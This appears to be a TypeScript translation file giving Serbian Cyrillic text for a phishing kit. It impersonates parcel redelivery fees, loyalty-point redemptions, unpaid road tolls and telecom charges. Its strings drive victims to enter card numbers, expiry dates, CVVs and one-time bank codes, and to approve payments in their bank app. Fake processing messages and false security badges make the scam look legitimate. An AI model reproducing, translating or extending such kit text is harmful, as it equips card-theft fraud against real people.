123 lines
9.4 KiB
TypeScript
123 lines
9.4 KiB
TypeScript
export default {
|
||
"There is an error in this field, please check": "Постоји грешка у овом пољу, молимо проверите",
|
||
"Please enter a valid email address": "Унесите важећу адресу е-поште",
|
||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Поштовани корисници, молимо пажљиво попуните формулар како бисте осигурали успешну испоруку",
|
||
"Your Name": "Ваше име",
|
||
"Address": "Адреса",
|
||
"Detailed Address": "Детаљна адреса",
|
||
"(Optional)": "(Опционално)",
|
||
"City": "Град",
|
||
"State": "Савезна држава",
|
||
"Province": "Покрајина",
|
||
"Region": "Регија",
|
||
"Zip Code": "Поштански број",
|
||
"E-Mail": "Е-пошта",
|
||
"Next": "Следеће",
|
||
"Telephone Number": "Број телефона",
|
||
"Online": "На мрежи",
|
||
"Payment": "Плаћање",
|
||
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "За поновну испоруку потребно је платити одређене услуге. Ваш пакет ће бити поново испоручен након уплате",
|
||
"lump sum: ": "укупно: ",
|
||
"Cardholder": "Име носиоца картице",
|
||
"Card Number": "Број картице",
|
||
"Expire Date": "Датум истека",
|
||
"Security Code": "Сигурносни код",
|
||
"Submit": "Пошаљи",
|
||
"Click here to receive another code": "Кликните овде да добијете нови код",
|
||
"Please confirm your identity and a one-time code will be sent": "Потврдите свој идентитет и једнократни код ће бити послат на ваш телефон или е-пошту. Унесите код овде",
|
||
"The verification code has been sent to": "Код за потврду је послат на",
|
||
"Please do not click the": "Молимо вас да не кликћете на 'Освежи' или 'Назад' јер то може прекинути трансакцију",
|
||
"Verification code error, please try again": "Грешка у коду за потврду, покушајте поново",
|
||
"The session is about to expire, please complete the verification now": "Сесија ће ускоро истећи, молимо довршите верификацију",
|
||
"This card does not support this transaction, please try another card": "Ова картица не подржава ову трансакцију, покушајте са другом картицом",
|
||
"Authorized bank": "Овлашћена банка",
|
||
"Please go to the bank App to confirm the authorization": "Идите у апликацију банке да потврдите овлашћење",
|
||
"Please do not close this page": "Не затварајте ову страницу",
|
||
"Payment Successful": "Успешно плаћање!",
|
||
"Thank you for your purchase. Your payment has been processed successfully": "Хвала вам на куповини. Плаћање је успешно обрађено",
|
||
"Mailing address": "Адреса за доставу",
|
||
"street address or house number": "Улица или број куће",
|
||
"Apartment number": "Број стана, собе итд.",
|
||
"Safe payment": "Безбедно плаћање",
|
||
"Verification code": "Код за потврду",
|
||
"Welcome": "Добродошли",
|
||
"back": "Назад!",
|
||
"We reward you for using point services": "Награђујемо вас за коришћење услуга поена",
|
||
"Check your points": "Проверите ваше поене",
|
||
"Phone number": "Број телефона",
|
||
"Inquire": "Провери",
|
||
"Exchange": "Размена",
|
||
"Spend points": "Искористите поене",
|
||
"Points Available": "Доступни поени",
|
||
"You don't have enough points": "Немате довољно поена",
|
||
"Please redeem your favorite product": "Искористите своје поене за омиљени производ",
|
||
"Confirm your shipping address": "Потврдите адресу испоруке",
|
||
"Order number": "Број поруџбине: ",
|
||
"Pay": "Плати",
|
||
"Pay Message": "Платите {0} да бисте искористили поене за производе",
|
||
"Pay electronic tolls online": "Платите електронску путарину на мрежи",
|
||
"your electronic toll payment was unsuccessful": "Ваше плаћање путарине није успело.",
|
||
"Billing Information": "Подаци за обрачун",
|
||
"Description": "Опис",
|
||
"Dear customer": "Поштовани клијент:",
|
||
"Electronic Communications Charge Payment Failed": "Плаћање трошкова електронске комуникације није успело",
|
||
"Invoice Number": "Број фактуре",
|
||
"Amount": "Износ",
|
||
"Pay Immediately": "Платите одмах",
|
||
"Phone Number": "Број телефона",
|
||
"Electronic communication fee payment failed": "Плаћање накнаде за електронску комуникацију није успело",
|
||
"Illustrate": "Објасни",
|
||
"SSL Encryption": "SSL енкрипција",
|
||
"PCI-DSS Certified": "PCI-DSS сертификат",
|
||
"Transaction Details": "Детаљи трансакције",
|
||
"Transaction ID:": "ИД трансакције:",
|
||
"Processing Network:": "Мрежа за обраду:",
|
||
"Processing Time:": "Време обраде:",
|
||
"Security Level:": "Ниво безбедности:",
|
||
"Preparing...": "Припрема се...",
|
||
"High": "Висок",
|
||
"Initializing payment environment...": "Иницијализација окружења за плаћање...",
|
||
"Encrypting card information...": "Шифровање података картице...",
|
||
"Establishing secure connection...": "Успостављање сигурне везе...",
|
||
"Verifying card number and issuer...": "Провера броја картице и издаваоца...",
|
||
"Validating CVV code...": "Проверавање CVV кода...",
|
||
"Checking fraud risk...": "Провера ризика од преваре...",
|
||
"Sending transaction request...": "Слање захтева за трансакцију...",
|
||
"Waiting for bank authorization...": "Чекање одобрења банке...",
|
||
"Processing bank response...": "Обрада одговора банке...",
|
||
"Confirming transaction status...": "Потврда статуса трансакције...",
|
||
"Finalizing transaction...": "Завршетак трансакције...",
|
||
"Visa Secure Network": "Visa безбедна мрежа",
|
||
"Mastercard Global Payment Network": "Mastercard глобална мрежа за плаћање",
|
||
"American Express Dedicated Channel": "American Express наменски канал",
|
||
"UnionPay Gateway": "UnionPay пролаз",
|
||
"{time} seconds": "{time} секунди",
|
||
"International Payment Network": "Међународна мрежа за плаћање",
|
||
"Homepage License Plate": "Почетна регистрација возила",
|
||
"JCC Smart Cyprus Image": "JCC Smart Kipar слика",
|
||
"Check Your Payment Details": "Проверите детаље плаћања",
|
||
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Унесите регистарски број возила да бисте проверили свој налог и благовремено платили путарину како бисте избегли казне.",
|
||
"Enter license plate number (e.g. XYZ1234)": "Унесите број таблице (нпр. XYZ1234)",
|
||
"Verify Payment Details": "Потврдите детаље плаћања",
|
||
"Toll Payment": "Плаћање путарине",
|
||
"License Plate Number": "Регистарски број возила",
|
||
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Информације о саобраћајним прекршајима (нпр. коришћење мобилног телефона током вожње). Први прекршај <strong>50€</strong>, други <strong>150€</strong> итд.",
|
||
"Tolls": "Путарина",
|
||
"Due Date": "Рок доспећа",
|
||
"Fine Amount": "Износ казне",
|
||
"Pay Now": "Плати сада",
|
||
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Имајте у виду да је због кашњења плаћања ова трансакција могућа само кредитном картицом.",
|
||
"Cardholder Name": "Име носиоца картице",
|
||
"First and Last Name": "Име и презиме",
|
||
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
|
||
"Expiration Date": "Датум истека",
|
||
"MM/YY": "MM/ГГ",
|
||
"123(CVV)": "123(CVV)",
|
||
"Card Icon": "Икона картице",
|
||
"CVV": "CVV",
|
||
"Successful Toll Payment": "Успешно плаћена путарина",
|
||
"Thank you for your payment. The tolls have been processed successfully.": "Хвала вам на плаћању. Путарина је успешно обрађена.",
|
||
"Phone": "Телефон",
|
||
"Toll Amount": "Износ путарине"
|
||
};
|